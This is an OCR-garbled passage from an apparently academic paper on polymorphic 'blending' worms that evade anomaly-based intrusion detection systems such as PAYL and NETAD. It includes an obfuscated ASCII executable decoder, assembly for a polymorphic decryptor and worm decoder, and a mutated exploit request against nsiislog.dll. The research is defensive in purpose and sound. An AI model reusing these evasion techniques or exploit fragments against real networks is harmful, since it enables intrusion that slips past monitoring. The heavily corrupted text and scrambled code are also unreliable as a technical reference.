initial datapacletsof TCP connections.

After training, we injecteda mutatedpaclet into NETAD andchecledit with the
eval functionusedby theimplementatiorto calculateanomalyscores Althoughin
our example,we did not consideroffsetsfor allowedvaluesthe anomalyscorefor our
paclet was still within the rangefor normal paclets (0.773980).The anomalyscore
couldbeevenlowerif the positionsof allowedbyteswereconsideredn mappings.

PAYL Theanomalyscorefor PAYL is shavnin Eq.(2). formula:

(@)

Here, isthefrequeng of inatestedpaclet ,and istheaveragdrequeng of
in normaltraf®c, is thevarianceof thevaluein normaltraf®c, and is asmoothing
factorto preventdivision by zero.

The approactcanbe evadedby polymorphicblendingbecauseaswe hadshown,
thefrequencie®f valuesin theattackpaclet cancloselymatchthosein normaltraf®c,
asdepictedn Figure4.

Evaluation. We usednetwork tracestakenfrom the Geogia TechCollege of Com-
puting backboneto train the payl tool. The network load on the backboneaverages
around150MB/s.Thetrace®leswerecapturedver severaldaysof monitoring.

We replayedthe tracesto train payl. After payl createda working model of the
traf®c, we testedit with Nikto, a vulnerability scanneffor CGl/web senersbasedon
LibwWhisker [CIR04]. First, Nikto was usedto sendattack pacletsto the target. As
expected payl caughtnumerousanomaliedn thetraf®c. This veri®edfor usthatpayl
wasworking, properly con®guredhad a working model of normaltraf®c, and could
issuealerts.

Next, we generatedndsenta versionof worm thatwasblendedusinga ®ctitious
normalpro®le. The payl generatednalert,asexpected.

Finally, we generated blendedversionof theworm basedon the ®rst 1000HTTP
requestsniffed on the samenetwork. We sentthe wormto a victim hostmonitoredby
payl. Thistime, sincethe worm's blendedpatternmatchedhe modelusedby the IDS,
payldid notissueanalert.

Fromthis we concluded:

1. Payl'shost-speci®pro®leswereeffectiveatstoppinghumerousttacksandprobes.
2. Whentheworm wastrainedusingpacletsfrom the network monitoredby payl, we
couldevadethelDS.
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Sewice-Speci®dDS Theanomalyscorefor Service-Speci®tDS is shovn in Eq. (3).

3)

This approachcan be evadedby polymorphicblending becausehe type of the
paclet may be legitimate (asin our case)andthe payloadcanbe mutatedto ®t into
the normaltraf®c pro®le by adjusting to becloseto , asexplainedbelow. If one
of the attackinvariantsmandatesendinga large packet and suchpacletsnever occur
normally, aworm cansimply employ a differentattack.

Requesttype Thiscomponenbf theanomalyscoreis de®nedas:
whereP[t] is the probability of arequesbf type .

This componentmay mark a mutatedattackas anomalousf a particularexploit
invariantrequiresawormto usethe speci®crequestypethatis anomalougor thegiven
network. The baseexploit we usein the mutatedattacksendsa POSTrequestThisis
a legitimaterequesthatcommonlyoccurson our network soit will notbeanomalous
accordingo this componenbf theanomalyscore.

Requestiength Theformulausedfor thiscomponenis: ,
where is themeanof ananomalyrequestand is the standardieviation of requests
duringtraining.

Recallthatoneof the exploit invariantsin our examplewasthe sizeof the exploit.
The sizehasto be atleast10k for the exploit to over ow the buffer of the target. Still,
our attackis likely to evadethis componenbf the anomalyscore.Oneof the reasons
is that POSTrequeston our network thatinvolve transmitting10k of dataare fairly
commonthoughmuch less frequentthan shorterrequestqthe relative rate of large
HTTP POSTSis approximately0.003of therateof requestainderl500bytes).

Thisis probablyuntruefor all networks.However, theconclusiorstill holdsbecause
stealthywormscanchoosettackgo usebasednthenormaltraf®c. Obviously; if there
is no suitabletraf®c on thelocal network for mutationof a particularattackvector, the
worm cansimply usea differentattackvector

Payload Distrib ution The formula usedfor this components:

, where , Where is avalueobseredin training
and s the expectedvalue.As shavn earlier a worm may be ableto mutateattacks
sothatcollectively, areascloseto asnormaltraf®c sothe mutatedattackwill not
causeananomaly

Abstract Payload Execution This method,presentedy Toth and Kruegel [TC02]
detectsanomaliesy ®nding the longestMaximumExecutabld_ength(MEL). MEL is
calculatedor every possibleoffsetin a paclketandthenthe maximumfor the pacletis
chosen.

We usedhepublicly availableimplementatiorof themethodaspartof theApaches
mod detect .Werantheget _ei functionafterconstructingatrie, thestructureused
in the approachto calculatethe MEL for our mutatedexploit. Whenwe ran the im-
plementatioron our blendedattack,it detecteca MEL of size96. This meantthatthe
attackwould be marked asanomalousecauseaccordingto the authors the average
MEL for HTTP traf®c is muchlower andis around5 [TCO0Z].
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We were able to evadethe approachby making a simple changeto the mutated
attack.We diluted the executableASCII decodef(the causeof the high MEL) by ran-
domly injecting specialcharactershat did not affect the executionof the decoderbut
madethedecodetook like sereralsmallinstructionsequencegtherthanoneinstruc-
tion sequencewith a big MEL. We insertedthe following two characters54h and
5chthatcorrespondo push esp;pop esp sequenceThecharactersrelegitimate
charactershatappealtin normalHTTP traf®c.

As aresult,theMEL of ourattackdroppedo 4, whichis anormalvalueHTTP traf-
®c. ThedilutedexecutableASCII decodeis delineatedelow. You canseetheinjected
2-tupleas'T ' in ASCII:

%#.-%%DABB-#NzzT\-xzzzT\-zzzzP-#A##T\-n XHT\-  zzvzP- #O##
T\-Az.#-xz5yPT\-##p#-g0z-T\-2zz%P-##a# T \-WUvy T\-zzz zPT\
- HHT\-INHIT\-2zKzP-####T\-#V##-ezpDPT \-#U## -pz.LT \-zz

yzPT\-#.##-czcZT\-zzzzPT\-% Y##T\-%zyk-% zzzPT\ -##it#- ##z1
T\-sDzzPT\-#.M#T\-#wz4-DzzzPT\-#d##T\-. za#-0z tkPT\- eZ#B
-22.2T\-2zzzP-#D## T\-#zZ#-fzzIPT\-###p- #a#zT\ -EuQzP -##s
iT\--izz-%zzzPT\-####T\-cb#dT\-zz8zP-## #H#T\-# #a-0q 6zPT
\-eftttH-z##2T\-264zP-#HH##T\-6##.T\-zyCrP T\-j## L-zbbz T\-z

zz2zP-##LKT\-CfzzT\-zzzzP

Note that the size of the executableASCII decoderfrom the previous sectionhas
increasedrom 379to 465 bytes.Generallyspeakingthe impactof addeddetail and
improvementdn IDS methodgranslatesnto morework for wormsto blendin aswell
aslongerblendedpaclets.Biggerworms,in turn, aremorelikely to be detectedAs a
result,they mustaddcodeto hide better which addscompleity andeventuallymalkes
the numberof peoplethat could write suchwormslow enoughto signi®cantlyreduce
thenumberof suchwormsandthelik elihoodof themappearing.

7 RelatedWork

Therehasbeena numberof documentedtudieshatinvestigatecomputemwormsand
thewaysin which they propagateStanifordet al. presented studyof differenttypes
of wormsandhow they cancausedamagenthelnternet{SPW02].Zouetal. [ZGT02]
analyzedthe propagationof the Code2 Red worm and presentedan analytic model
for worm propagationMoore et al. [MPS 03] analyzedhe propagatiorof the SQL
Slammerworm andits effect on the Internet.None of the existing studies,however,
provide muchdetailwith respecto slow-propagatingstealthywormsthat mutatetheir
code.

Several researchersiave mentionedthe possibility of polymorphicworms, most
recently[N.SO3M.T03,SK03. However, our paperis the ®rst to describeand study
suchworms. The paperof Deri et al. discusseglassifyingthe effects of a security
violationin network traf®c for thepurposeof identifyingasmallsetof traf®c parameters
whosevaluechangesigni®cantlyduringanattack(alitmus paperapproach]LSGO03.
This work is very relevantto the attackswe describedandthe ideascould potentially
beusedto addresghethreat.
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In thedomainof IDS evasion,the fundamentapaperpertainingto our approachs
by PtacekandNewsham[TT98]. The paperdemonstrateseveral problemswith relia-
bility of passie protocolanalysisinsuf®cientinformationon the wire for conclusions
on whatis actuallyhappeningon networked machinesandthefactthatIDS areoften
inherently”f ail-open”. Our approachis similarin thatit exploits the factthat Network
IDS do nothave suf®cientknowledgeaboutwhatis considerechormalfor anindividual
host.

Mooreetal. [MSVS03 exploredthe designspacefor worm containmensystems.
They studiedthe ef®cagy of addresdlacklistingandcontent®ltering with variousde-
ploymentscenariosThey concludedthat, in orderfor the containmentsystemto be
effective, detectionandcontainmenmustbeinitiated quickly andbe performedwithin
alocalnetwork aswell asonaglobalscale Thisemphasizetheimportanceof address-
ing thethreatwe presenin this paper

Singhetal. [SCGSO03 proposed systentor real-timedetectiorof unknovnworms
usingtraf®c analysisand contentsignaturesThe authorsintroducedthe propagation
factorfrequentlyreferrecto by ourpaperThe Singhpapershavedthatdetectingvorms
using bandwidthincreasesan be quite effective againstworms with high propaga-
tion factor [ZGGTO03 proposedo monitorunusedaddresspaceoningressandegress
routersin orderto detectwormsat their early propagatiorstage which could help to
addres®neof the multiple facetsof the problemwe describe.

8 Conclusions

In this paper we presentedhe ideaof stealthywormsusingknowledgeaboutnormal
traf®c on alocal network to hidetheir propagatiorattempts\We have examinedseveral
IDS implementationg&nd shaved that polymorphicblendingattacksare practicaland
canbeusedto evadelDS.

Our objective wasto bring the detailsof this new threatto the attentionof the IDS
communityto make sureeffective defensesanbe developedbeforemaliciousworms
using the techniqueswe describedappear We strongly urge the IDS researcherso
considerhow the blendingworm stratgjies can be defeated.The exampleswe have
providedall dependnsimplel-gramIDS approachesowe speculatehatusingmore
comple (e.g.,2-gramapproachesnayprovide someshort-ternrelief. Furtherwork is
neededn this area.
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Appendix

8.1 PD Skeleton

PD Skeleton:
<LOAD_ADDR_REG>
<ADJUST ADDR_REG>
<LOAD_COUNTER>
<ADJUST_COUNTER>

DCRYPT _:
<LOAD_MR>
<TRANSFORMATION >
<TRANSFORMATION>

<TRANSFORMATION>
<STORE_RM>
<INCREASE_ADDR_REG>
<DECREASE_COUNTER>
<LOOP_NONZERO_DCRYPT_>

8.2 PD Example

@@entry:

call @@load_addr ; load the addr of the PDin memory
@@load_addr:

pop $addr_reg

add $addr_reg,54h ; adjust for the length of the PD

add $addr_reg,26h ; in two operations

push 1200h ; initialize counter to 1298h in several steps

pop $counter_reg
add $counter_reg,98h

@@dcrypt_:
mov $work_reg, [$addr_reg] ; load value. m->r
xor $work_reg, $key ; transformation 1 (op: 35h/81lh+arg, 5/6 bytes)
add $work_reg, $key ;  transformation 2 (op: 05h/81h+arg, 5/6 bytes)
rol  $work_reg, $key ;  transformation 3 (op: C1lh COh+arg, 3 bytes)
add $work_reg, $key ; transformation 4
mov [$addr_reg],$work_reg ; store value. r->m
add $addr_reg, 4 ; increase the address
sub $counter_reg, 4 ; decrease counter
test $counter_reg,$counter_reg ; complete?
jnz  @@dcrypt__
@@loader:

(padding+decrypted_loader_code)

8.3 AdvancedPD supporting mappings

@@pd_entry_:
cld . direction



@ @decode_worm_:

@ @continue_:

@@no_control_:

mov
mov
Xxor

mov
mov

cmp
jnz
push
ret

lodsb
cmp
jnz
mov
lodsb
xchg

mov
Xxor

@ @lookup_mapping_:

@ @skip_one_:

@ @found_:

@@foundl_:

mov
cmp
jz
cmp
jnz
inc

inc
inc
jmp

cmp
jnz
inc
mov
cmp
jz
inc
inc
jmp

mov
stosb
jmp
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esi, $wormpe
edi, $wormpe
eax,eax

ebx,eax

bh, $control_char

esi, $worm_end
@@continue_
dword $wormpe

al, bh
@@no_control
ah, al

ah, al

ebp, $maptable
€cX,ecx

bl, [ebp]

al, bl

@ @found_
bl,bh

@ @skip_one_
ebp

ebp
ecx
@ @lookup_mapping_

al, bh
@@foundl

ebp

bl, [ebp]

ah, bl

@ @foundl_

ebp

ecx

@ @lookup_mapping_

al,cl

@@decode_worm__ ;

8.4 Mutated Exploit Example

POST scripts/nsiislog.dll

Accept:

*[*<CR><LF>

HTTP/1.1<CR><LF>

continue

offset of the worm/pe (read)
offset of the worm/pe (write)
reset eax
reset ebx

;. control character
decoding complete?

jump to the decoded worm

load a byte to decode in al, inc
control character?

no

load the selector byte

al = <ctl>, ah=<selector>

offset  of the mappings

index =0

load the first byte of mappings
match?

control character?

next mapping

control character?

no

selectors match?

continue  looking

store the decoded byte

esi
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User-Agent: NSPlayer/9.0.0.2980<CR><LF>
Host: media.alldanzradio.com<CR><LF>

Pragma: xClientGUID={3300AD50-2C39-46c0-AEQA- 9BCDF®8B6C547}<CR><LF>
X-Accept-Authentication: Negotiate, NTLM, Digest, Basic<CR><LF>
Pragma: client-id=4005261325<CR><LF>

Content-Length: 9996<CR><LF>

Content-Type: text/plain<CR><LF>

<CR><LF>

<Summary>0.0.0.0 2004-03-27 19:41:44 - http://media.alldanzradio.com/
choiceradiobb/bb/rr/rr20447_48.wma 0 46 5 200 {3300AD50-2C39-46c0-

AEOA-915450A9588A} 9.0.0.2980 en-USWMFSDK/9.0.0.2980_WMPlayer/9.0.0
.3075 - wmplayer.exe  9.0.0.2980 Windows_XP 5.1.0.2600 Pentium 241

1473698 254388 http TCP - - - - 1477432 - 652 0 0 0 0 0 0 1 O 100
- - - - mms://media.alldanzradio.com/choicer adiobb /bb/rr  /rr204 47 _
48.wma?channel=382  rr20447_48.wma - </Summary><date>2004-03-27</date>
<time>18:21:34</time><cs-User-Agent>WMF SDK/9. 0.0/SF 54</cs -User- Agent>
<Cookie>
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</Cookie>

<tag>This fake padding shows where the PDis going to be reconstructed
(must be at least 98 bytes), replaced by ASCIl decoder on the stack
</tag>
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